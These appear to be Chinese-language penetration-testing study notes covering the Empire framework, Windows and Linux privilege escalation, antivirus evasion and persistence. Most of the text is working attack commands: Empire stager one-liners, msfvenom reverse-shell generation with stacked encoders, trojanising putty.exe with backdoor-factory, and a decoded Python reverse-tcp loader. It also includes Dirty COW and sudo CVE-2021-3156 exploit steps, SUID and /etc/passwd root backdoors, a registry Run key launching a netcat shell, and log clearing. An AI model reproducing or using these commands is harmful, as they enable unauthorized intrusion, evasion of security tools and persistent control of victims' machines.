empire提权和持久化

stager的几种用法

windows/launcher_sct

1
2
3
regsvr32 /u /s /n /i:http://192.168.1.135/launcher.sct scrobj.dll

scrobj.dll: 固定的

windows/launcher_vbs

1
执行: Cscript launcher.vbs

windows/launcher_xml

1
2
3
执行:
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319
.\MSBuild.exe C:\users\一瓢饮\Desktop\la.xml

windows/wmic

wmic调用: wmic process call create calc –> command

1
执行: wmic os get /format:"http://192.168.1.135/la.xsl"

windows/macro

1
2
1. word 选项 --> 信任中心 --> 宏设置 --> 启用所有宏
2. 开发工具 --> 宏 --> 创建(所有活动模板和文档) --> templateProject --> microsoft word 对象 --> thisdocment --> 插入宏代码(VBA)

提权

github | 码云(gitee)

利用uac

绕过uac

本地提权: 漏洞查找 –> powershell/privesc/sherlock | widnows-suggester-exploit.py

powerup

1
2
3
4
5
6
7
8
usemodule privesc/powerup/allchecks 检测是否可以利用powerup漏洞

# 要检测的事情
[*] Checking if user is in a local group with administrative privileges...
# 探测结果
[+] User is in a local group that grants administrative privileges!
# 利用方式
[+] Run a BypassUAC attack to elevate privileges to admin.

持久化

debugger代码修改:

136-139 用 ‘’’ ‘’’包裹注释

180按一下tab键对齐

empire基操

基操

可以用tab补全查看指令

uselistener 使用监听器

usemodule 使用模块

usestager 使用stager

main 回到主界面

back 返回上一级

生成监听器:

image-20210718213722672

​ (Empire: listeners) > uselistener http
​ (Empire: listeners/http) > info
​ (Empire: listeners/http) >set Name xxx
​ (Empire: listeners/http) >set Port xxx
​ (Empire: listeners/http) > execute

​ [*] Starting listener ‘parrot’

  • Serving Flask app “http” (lazy loading)
  • Environment: production
    WARNING: This is a development server. Do not use it in a production deployment.
    Use a production WSGI server instead.
  • Debug mode: off
    [+] Listener successfully started!
1
2
3
4
Name --> 监听器的名字
Host --> 监听器的ip
Port --> 监听的端口

生成stager:

![image-20210718213526986](D:\yuchen Study\part three\usestager.png)

​ multi –> linux

​ osx –> mac

​ windows

windows常用:
windows/launcher_bat
windows/launcher_vbs
windows/launcher_lnk
windows/dll
windows/hta
windows/launcher_xml
windows/macro
windows/wmic

1
2
3
4
(Empire: listeners) > usestager windows/launcher_bat
(Empire: stager/windows/launcher_bat) > info
(Empire: stager/windows/launcher_bat) > set Listener parrot
(Empire: stager/windows/launcher_bat) > set OutFile ./1.bat

获取到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
interact --> 进入到交互模式
kill --> 杀死会话
killdate --> 指定日期杀死会话 killdate [agent/all] 01/01/2016
rename --> 给agents重命名
searchmodule --> 搜索模块

Active agents:
如果agents是绿色的, 代表是存活的;如果是红色, 那就是掉线的状态.

interact中:
bypassuac --> bypassuac提权
jobs --> 查看工作中的任务
upload --> 文件上传
download --> 文件下载
dirlist --> 列出目录列表
injectshellcode --> 利用shellcode进程迁移到meterpreter
mimikatz --> 加载账号密码(hashdump)
psinject --> 利用shellcode进程迁移
pth --> pass the hash
shell + 指令 --> 用cmd执行指令
sysinfo --> 获取系统基本信息
spawn --> 生成新的agent
steal_token --> 令牌盗用

提权

在empire中, 拥有管理员权限, username前面会多一个* ,也就是提权成功了

指令: bypassuac –> bypassuac_eventvwr

searchmodule bypassuac –> ask --> uac提权

在interact中, 可以用run去执行指令

查找本地提权漏洞:

​ powershell/privesc/sherlock

1
2
3
4
5
6
7
8
9
10
11
Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID : 2010-0232
Link : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not Vulnerable

title: 漏洞名称
MSBulletin: ms漏洞编号
CVEID: cve漏洞编号
Link: exp
VulnStatus: 漏洞状态

privesc/getsystem* –> 相当于msf中的getsystem

免杀收尾和empire

免杀技术

the-backdoor-factory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
常用:
-c:code cave(代码裂缝)
-l:代码裂缝⼤⼩
-s:选择使⽤ payload 类型
-H:选择回连服务器地址
-P:回连服务器端⼝
-J:使⽤多代码裂缝

基操:
1. ./backdoor.py -f putty-32bit.exe -S 检测是否可以插入shellcode
2. ./backdoor.py -f putty-32bit.exe -c -l 500 探测代码裂缝
3. ./backdoor.py -f /root/putty.exe -s show 列出payload
4. ./backdoor.py -f ~/putty.exe -s iat_reverse_tcp_stager_threaded -H 10.211.55.2 -P 3333 -J -o payload.exe 生成木马

自定义shellcode注入:
生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.135 lport=4444 -e x86/shikata_ga_nai -i 15 -f raw -o shellcode.c
注入shellcode
./backdoor.py -f putty-32bit.exe -s user_supplied_shellcode_threaded -U shellcode.c -H 192.168.1.135 -P 4444 -o pyload.exe

phantom-evasion:

如果出现PKCS12TYPE错误,修改setup/Phantom_lib.py 中PKCS12TYPE,把TYPE去掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[+] MODULE DESCRIPTION:

Pure C reverse tcpstager
compatible with metasploit and cobaltstrike beacon
[>] Local process stage execution type:
> Thread 线程的方式
> APC

[>] Local Memory allocation type(内存分配的类型):

> Virtual_RWX 可读可写可执行
> Virtual_RW/RX 可读可写/可读可执行
> Virtual_RW/RWX 可读可写/可读可写可执行
> Heap_RWX 可读可写可执行

[>] AUTOCOMPILE format: exe,dll 自动编译后可生成的格式
Junkcode: 花指令

自解压

SFX: 把压缩包生成为exe可执行程序, 执行后会自动解压

用到的工具: winrar 或者有自解压选项的压缩工具

1
2
3
4
5
6
7
8
9
10
工具:
– winrar、ico图标、木马
§ 步骤:
– 1.右键添加压缩文件
– 2.创建自解压文件栏✔(SFX) – 3.点击高级-->点击自解压选项
– 4.点击更新-->覆盖所有文件夹
– 5.点击设置-->加入图标路径、木马路径
– 6.点击文本和图表-->添加ico图标
– 7.点击模式-->全部隐藏
– 8.确定,然后隐藏文件拓展名

数字签名

资源修改: resource hacker –> 修改资源, 图标,版本信息, 程序内容等…

empire

安装:

1
2
3
4
5
6
7
8
9
10
11
12
kali:
sudo apt install powershell-empire
sudo powershell-empire

github克隆:
git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh
sudo poetry install
sudo poetry run python empire

在python的框架中碰到 --> requirements.txt ,优先安装这个 pip install -r requirements.txt

314 modules currently loaded —> empire模块

0 listeners currently active —> 存活的监听器

0 agents currently active —> 存活的用户情况

在empire中, 第一件事就是生成监听器
指令:
help 帮助命令
agents 查看用户,进入用户菜单
creds 存放用户的凭据信息
interact 进入到交互模式
list 列出存活的用户或者监听器
active listener 与存活的监听器进行交互
load 加载非标准的模块目录
searchmodule 搜索模块
set 设置参数
show 显示参数
uselistener 使用监听器(创建)
usemodule 使用模块
usestager 使用stager

免杀2

metasploit免杀

python:

python分为python2 和 python3

区分: python2: print “helloworld”

​ python3: print(“helloworld”)

安装第三方模块: pip install moduleName -i https://pypi.douban.com/simplehttps://pypi.douban.com/simple

动态查杀: 指的是文件运行的时候,杀软进行的扫描

静态查杀: 指的是文件未被运行的时候,杀软进行的扫描

不管怎么做免杀,都要确保程序能够运行,免杀效果怎么样要自己去试

自编码免杀

模板注入

模板注入+编码免杀

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=4444 -e x86/shikata_ga_nai -i 15 -x putty.exe -f exe -o payload.exe

多重编码免杀

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.135 lport=4444 -e x86/shikata_ga_nai -i 15  -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 5 -f raw | msfvenom -a x86 --platform windows -e x86/xor_dynamic -f  exe -o anti.exe

evasion: msf针对 AMSI: 防恶意接口windows defender 做的免杀模块

1
2
windows/windows_defender_exe
windows/windows_defender_js_hta

hta: html application –> 把html文件后缀改为hta, 本身就是一个可执行程序

免杀框架

venom:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
git clone https://github.com/r00t-3xp10it/venom.git
cd venom-main
sudo find ./ -name "*.sh" -exec chmod +x {} \;
sudo find ./ -name "*.py" -exec chmod +x {} \;
cd aux && sudo ./setup.sh
sudo ./venom.sh
更新:sudo ./venom.sh -u



AGENT Nº21:
───────────
DESCRIPTION : ICMP (ping) Reverse Shell
TARGET SYSTEMS : Windows (vista|7|8|8.1|10)
AGENT EXTENSION(拓展-->后缀名) : EXE
DROPPER EXTENSION : BAT
AGENT EXECUTION(执行命令) : http://192.168.135/dropper.bat
DISCLOSURE BY : @Daniel Compton (icmpsh.exe)

举例:
AGENT Nº2:
──────────
TARGET SYSTEMS : Windows
SHELLCODE FORMAT : DLL
AGENT EXTENSION : DLL|CPL
AGENT EXECUTION : rundll32.exe agent.dll,main | press to exec (cpl)
DETECTION RATIO : http://goo.gl/dBGd4x

执行: rundll32 agent.dll,main


powershell执行base64编码的payload:
powershell -enc payload

shellter:

PE: 是各类文件的统称 –> .txt .bat .exe …

1
2
3
4
5
6
7
8
9
A/M/H
A: auto --> 快速配置
M: manual --> 手动配置
H: help

PE target: 需要写入模板的绝对路径,并且源文件备份导了backups中
stealth mode: 隐身模式保留了受感染PE文件的原始功能,因此“隐身”是指人为因素。
如果你只是需要一个后门,不要启用这个功能。
use payload: L

the-backdoor-factory:

1
2
3
4
5
6
7
8
9
10
11
12
13
常用:
-c:code cave(代码裂缝)
-l:代码裂缝⼤⼩
-s:选择使⽤ payload 类型
-H:选择回连服务器地址
-P:回连服务器端⼝
-J:使⽤多代码裂缝

基操:
1. ./backdoor.py -f putty-32bit.exe -S 检测是否可以插入shellcode
2. ./backdoor.py -f putty-32bit.exe -c -l 500 探测代码裂缝
3. ./backdoor.py -f /root/putty.exe -s show 列出payload
4. ./backdoor.py -f ~/putty.exe -s iat_reverse_tcp_stager_threaded -H 10.211.55.2 -P 3333 -J -o payload.exe 生成木马

免杀1

免杀介绍

杀软相关:

  1. 扫描技术:
1
2
3
4
5
6
7
8
9
扫描技术:
n 1、扫描压缩包技术:即是对压缩包案和封装⽂件作分析检查的技术。
n 2、程序窜改防护:即是避免恶意程序借由删除杀毒侦测程序⽽⼤肆破坏电脑。
n 3、修复技术:即是对恶意程序所损坏的⽂件进⾏还原
n 4、急救盘杀毒:利⽤空⽩U盘制作急救启动盘,来检测电脑病毒。
n 5、智能扫描:扫描最常⽤的磁盘,系统关键位置,耗时较短。
n 6、全盘扫描:扫描电脑全部磁盘,耗时较⻓。
n 7、勒索软件防护:保护电脑中的⽂件不被⿊客恶意加密。
n 8、开机扫描:当电脑开机时⾃动进⾏扫描,可以扫描压缩⽂档和可能不需要的程序
  1. 监控技术
1
2
3
4
5
6
7
8
监控技术:
n 1、内存监控:当发现内存中存在病毒的时候,就会主动报警;监控所有进程;监控
n 读取到内存中的⽂件;监控读取到内存的⽹络数据。
n 2、⽂件监控:当发现写到磁盘上的⽂件中存在病毒,或者是被病毒感染,就会主动
n 报警。
n 3、邮件监控:当发现电⼦邮件的附件存在病毒时进⾏拦截。
n 4、⽹⻚防护:阻⽌⽹络攻击和不安全下载。
n 5、⾏为防护:提醒⽤户可疑的应⽤程序⾏为。

特征码

文件特征码

内存特征码

文件校验和

checksum 生成校验和:md5sum 文件名

沙箱

….

免杀技术

修改特征码: 逆向

花指令免杀: 汇编

加壳免杀

内存免杀

二次编译

分离免杀: shellcode (机器码)

资源修改:

​ 白名单: 把恶意程序修改成常见的程序的名称

​ 数字签名: 数字签名添加器

​ 资源替换:

​ 版本信息, 发行者信息, 图标信息等…Resource Hacker

metasploit免杀

1
2
3
4
5
-shellest 最小化生成payload
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度

高级模块:

​ show advanced –> 查看高级模块

​ PrependMigrate true –> 是否开启进程迁移

​ PrependMigrateProc –> 指定迁移的进程

​ ExitOnSession false –> 防止会话假死

​ EnableStageEncoding true –> 允许编码

​ StageEncoder –> 木马连接时,对stage进行编码

​ EnableUnicodeEncoding –> 指定unicode编码

​ raw: 原生代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
生成py文件的木马
msfvenom -a python -p python/meterpreter/reverse_tcp lhost=192.168.1.135 lport=4444 -f raw > 1.py

base64解密:
密文:
aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMzUnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=
解密:
echo 密文 | base64 -d
import socket,zlib,base64,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('192.168.1.135',4444))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})

编码模块: -e(指定编码) -i(指定编码次数)

1
2
3
4
5
6
7
8
9
10
11
常用:
x86/shikata_ga_nai
x86/xor_dynamic
x64/xor_dynamic
...

自编码免杀:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -e x86/shikata_ga_nai -i 15 -f exe -o shell.exe

自捆绑免杀:
msfvenom -x putty.exe -p windows/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=4444 -f exe -o payload.exe

armitage和漏洞复现

DLL劫持

DLL动态链接库

DLL劫持指的是,病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL。

监控工具: Monitorprocess、火绒剑…

.\dll注入检测脚本.ps1 xxxx.exe

armitage

armitage: 图形化的MSF,完全依赖MSF. 火了之后开发了商业版: cobalt strike –> 这款工具跟msf, empire称为内网三剑客.

armitage安装: apt-get install armitage

运行: armitage

console: 控制台

attacks: 探测目标主机是否有漏洞存在

1. find attacks    快速探测
2. hail mary        全部漏洞探测

漏洞复现

netdiscover: 探测内网主机存活

80: http

永恒之蓝: ms17-010 exp: search ms17-010

漏洞发现 –> 验证 –> 公布 –> poc –> exp

vsftpd 2.3.4:

手工利用:

ftp IP

– Connected to 192.168.37.195. – 220 (vsFTPd 2.3.4) – Name (192.168.37.195:root): root:) – password: root
§ 如果有卡住不显示任何东西
§ nc IP 6200 连入

msf: search vsftpd

distcc + udev提权

​ distcc exp:search distcc

​ cd /tmp

​ wget http://192.168.1.135/8572.c -O udev.c

​ gcc udev.c -o udev

​ cat /proc/net/netlink

​ echo ‘#!/bin/bash’ > run

​ echo ‘/bin/netcat -lvvp 4445 -e /bin/bash’ >> run

​ ./udev 2792

​ 查看端口开放情况: lsof -i:4445

​ 开放了就可以连接了

Ingres数据库DBMS后门

​ namp扫描: 开放了1524端口,尝试用telnet ip 1524 连接,如果存在后门,直接获取root权限的shell

sudo -l : 查看用户权限,如果有特殊指令存在以root权限运行的话或者不需要密码的话可以拿来提权

apt-get 提权:

前提: 可以不需要密码,或者默认以root权限运行

1.sudo apt-get update -o APT::UPDATE::Pre-invoke::=”/bin/bash -i”

2.sudo apt-get changelog apt –> !/bin/bash

linux后门植入

用脚本探测linux提权漏洞

windows漏洞探测脚本:

python2和python3的区别:

python2 打印函数print不需要括号: print “hello”;python3打印函数需要print(“hello”)

python2-pip安装:

python2 get-pip.py

python3-pip安装:

apt-get install python3-pip

脚本使用:

漏洞库位置: https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-022

下载漏洞库: python2 windows-exploit-suggester.py –update

保存systeminfo信息: systeminfo > sys.txt

探测漏洞: python2 windows-exploit-suggester.py -i sys.txt -d 2021-03-28-mssb.xls

linux脚本探测:

1
2
3
4
5
6
下载:
github: https://github.com/mzet-/linux-exploit-suggester
下载:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
运行:
./les.sh

linux后门植入

计划任务:
  1. 用命令的方式写计划任务

    crontab -e

    crontab -l –> 查看计划任务

  2. 再文件中写入计划任务

    文件位置: /etc/crontab

1
2
3
4
5
6
7
8
9
10
11
12
13
# Example of job definition:
# .---------------- minute(分钟) (0 - 59)
# | .------------- hour(小时) (0 - 23)
# | | .---------- day of month(每月的天数) (1 - 31)
# | | | .------- month (1 - 12)(月份) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (每周的天数)(Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed

* --> 任意时间
/ --> 时间频率 */1 * * * * --> 任意时间每隔1分钟执行一次
- --> 区间 0-20/2 * * * * --> 0-20分钟每隔两分钟执行一次
, --> 列表范围 1,5,7,9 * * * * --> 第1,5,7,9分钟的之后执行一次

命令的形式:

创建计划任务: crontab -e –> * * * * * command

删除计划任务: crontab -r | crontab -ri –> -r 删除 -i 交互(问你是否删除)

创建suid后门:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/tmp: 存放临时文件的目录,具有高权限
1.
创建suid.c
#include <stdlib.h>
main(){
setuid(0);
system("/bin/bash");
}
编译:
gcc suid.c -o suid
权限赋予:
chmod 4777 suid

2.
复制/bin/bash > /tmp/shell
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
/etc/passwd后门:

生成有效密码: openssl passwd 密码

插入有效数据: echo 用户名:密码:0:0:system:/root:/bin/bash

登入用户:su 用户名

┌─[✗]─[ilu@parrot]─[/tmp]
└──╼ $su hello
密码:
┌─[root@parrot]─[/tmp]
└──╼ #

痕迹清除

1
2
3
4
5
sed -i 's/^HISTSIZE=原数量(默认1000)/HISTSIZE=目标数量/' ~/.bashrc
-i 进入到编辑模式
s 替换模式
d 删除模式
g 全局匹配

linux提权

linux提权

提权

metasplitable2:msfadmin/msfadmin

searchsploit: 查找漏洞

1
2
linux木马生成:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.135 lport=4444 -f elf -o shell.elf

suid提权

suid:默认会以特权用户的权限去执行

s:特权用户

加入有suid文件可以进入交互模式,那么就可以用提权或者做后门.

less | more | tail

apt | apt-get….

提权步骤:

find / -perm -u=s -type f 2>/dev/null –> 查找具有suid权限的文件

以find命令为例:

find /etc/passwd -exec /bin/bash -p ; –> 利用文件进入root权限的bash

https://gtfobins.github.io/
1

文件权限:
-:代表文件
l:代表链接(软链接–>快捷方式;硬链接–>复制了一份源文件)
d:代表目录
r 4:可读(read)
w 2:可写(write)
x 1:可执行(execution)

d rwx r-x r-x
d:目录
rwx:当前用户的权限
r-x:当前用户组的权限
r-x:其他用户组的权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

#### 内核提权漏洞

脏牛漏洞:

exp: https://github.com/FireFart/dirtycow/blob/master/dirty.c

1.上传脏牛到靶机

2.对脏牛漏洞进行编译:

gcc -pthread dirty.c -o dirty -lcrypt

3.使用漏洞

chmod u+x dirty

./dirty 123123 <-- 自定义的密码, 默认用户是firefart

4.换源/etc/passwd

mv /tmp/passwd.bak /etc/passwd

#### 利用sudo提权

漏洞探测:
用户可以使用非root的账户登录系统,运行“ sudoedit -s / ”命令,
若返回如图以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。
不受影响的系统将显示以“ usage:”开头的错误响应。

影响范围:
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1

poc地址: https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz

利用:
wget https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
tar -zxvf CVE-2021-3156_nss_poc_ubuntu.tar.gz
cd CVE-2021-3156
chmod u+x *
make
./sudo-hax-me-a-sandwich 0


linux漏洞库: 

https://github.com/qazbnm456/awesome-cve-poc

https://github.com/SecWiki/linux-kernel-exploits



shellcode: 机器码(二进制,十六进制)

windows后门植入和linux信息搜集

windows后门植入

持久化的监听:

handle:

1
2
3
4
5
-H    配置RHOST/LHOST(用于监听)
-P 配置RPORT/LPORT(用于监听)
-e 指定编码,连接时会对stage进行编码
-p 指定一个payload
-x 加上这个参数,后台监听就会关闭

持久化后门

msf中的持久化后门:

run persistence

1
2
3
4
5
6
7
8
9
-A 自动开启匹配的监听器等待用户连接
-P 指定payload,默认windows/meterpreter/reverse_tcp
-S 开机的时候以服务的方式去运行后门(system权限)
-T 指定一个模板
-U 用户登入的时候做一个反弹
-X 当系统运行的时候做一个反弹
-i 时间间隔(每隔几秒反弹一次)
-p 指定监听的端口
-r 监听器ip

example: run persistence -U -X -i -r LHOST -p LPORT

其他的persistence模块: search persistence

自启动后门:

注册表的方式{自启动路径很多}、服务的方式{sc 创建服务}、自启动文件夹{shell:startup},计划任务(只能反弹一次,在指定的时间反弹)

注册表的方式: reg add HKLM\.... /v xxx /f /d nc 192.168.1.135 4444 -e cmd

linux提权

信息搜集

id 查看当前的用户所在的组别信息

uname -a 查看内核版本的全部信息

cat /proc/version 查看内核版本的全部信息

cat /etc/*release 查看发行版信息

dpkg -l 查看安装包(根据安装的包的版本找漏洞)

crontab 计划任务

​ 1.指令的方式: crontab -e 计划任务的内容

​ 2.以文件的形式写计划任务: /etc/crontab ,以这种方式写计划任务,指令看不到内容

/sbin/ifconfig 查看网络的配置信息

cat /etc/passwd 普通用户可以查看,内容是账号密码信息(密码放在shadow里)

1
2
3
4
5
6
7
8
9
10
root:x:0:0:root:/root:/bin/bash
LOGNAME:PASSWORD:UID:GID:USERINFO:HOME:SHELL

root 用户名
x 占位符-->密码
0 uid
0 gid
root 描述信息
/root 家目录
/bin/bash 执行环境

cat /etc/shadow 特权用户才能查看,存放账号密码信息

cat /root/.mysql_history 查看数据库历史操作记录

数据库: 查看数据库内容,读取文件,上传文件,提取

cat /root/.bash_history 查看历史操作记录

find / -perm -u=s -type f 2>/dev/nul 查找具有suid应用程序(默认以root权限执行的程序)

1
2
3
4
5
6
7
find     指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)

windows提权

uac提权

bypassuac提权

windows本地提权

令牌盗用

令牌盗用的要求:windows 7之前,及windows 2008之前都可以使用

use incognito

list_tokens -u 列出在线的用户名

假如Impersonation Tokens Available中有system,administrator的用户

那么就可以用impersonate_token 用户名的方式盗用身份

1
2
拓展模块的使用:load,use
每次加载了拓展模块,都可以用help查看相对应的帮助信息

windows提权漏洞库:

https://github.com/SecWiki/windows-kernel-exploits

https://www.exploit-db.com/ (msf使用的漏洞库)

系统服务权限配置错误导致的提权:

​ exp: exploit/windows/local/service_permissions

aggressive:

true :尽可能多的利用每一个有缺陷的服务
false:第一次提权成功后就会停止工作

利用AlwaysinstallElevated提权

打开组策略进行配置:
win + r –> gpedit.msc
计算机配置->管理模板->windows组件->windows installer->开启:永远以最高权限进
行安装
用户配置->管理模板->windows组件->windows installer->开启:永远以最高权限进行
安装

exp: exploit/windows/local/always_install_elevated

windows中的权限: trustedinstaller > system > administrator > normal user

可信任服务路径提权:

exp: windows/local/unquoted_service_path

windows后渗透模块

hashdump报错:

解决办法--> 进程迁移

  1. hashdump

  2. run post/windows/gather/smart_hashdump

md5密码破解: https://www.cmd5.com/

md5的特点: 生成的密钥无法还原,但是每次一样的内容生成的密钥是相同的

开启3389端口:

windows只允许单用户登入,如果其他用户想要登入,必须注销当前用户

run post/windows/manage/enable_rdp

开启完后访问3389端口:

在linux中: rdesktop ip

在windows中: mstsc

windows持久化后门

msf中的持久化后门:

run persistence

1
2
3
4
5
6
7
8
9
-A 自动开启匹配的监听器等待用户连接
-P 指定payload,默认windows/meterpreter/reverse_tcp
-S 开机的时候以服务的方式去运行后门(system权限)
-T 指定一个模板
-U 用户登入的时候做一个反弹
-X 当系统运行的时候做一个反弹
-i 时间间隔(每隔几秒反弹一次)
-p 指定监听的端口
-r 指定反弹的ip